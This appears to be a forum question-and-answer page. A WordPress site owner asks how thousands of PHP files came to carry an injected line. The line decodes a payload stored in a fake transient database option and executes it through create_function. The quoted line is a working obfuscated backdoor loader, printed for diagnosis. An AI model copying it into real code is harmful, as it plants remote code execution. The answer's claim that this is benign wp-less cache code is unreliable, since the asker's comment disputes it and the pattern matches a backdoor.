0

I have got a website to "cleanup" which has almost 10k replicated files in the public_html folder and almost all PHP files contains code

$z=get_option("_transient_wp_less_compiled_c9b58ec39525169515675906d91c9815"); $z=base64_decode(str_rot13($z['root'])); if(strpos($z,"E8FA4873")!==false){ $_z=create_function("",$z); @$_z(); }

I have checked DB options table and there are multiple instances of _transient_wp_less_compiled_randomstuff

My question is - does the site got hacked using transient API or just used some exploit to spread malicious code across PHP files and DB which looks like "legit" transient API code for a regular user? I have "googled" for specific part of that code above but cannot find anything interesting how does site got hacked.

Improve this question

1 Answer 1

Reset to default
0

Should be the transient(cache files) of the plugin wp-less that convert the css code in less through a compiler.

After downloading wp-less check the compiler.class to see how the plugin cache the code.

I don't think this is hacking.

Improve this answer
1
  • What that code is then? It is not a part of a theme and there is not wp-less plugin installed. Even if so WP-Less should to use hooks not to add cited code to each PHP file.
    – JackTheKnife
    Commented Nov 9, 2015 at 14:56

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.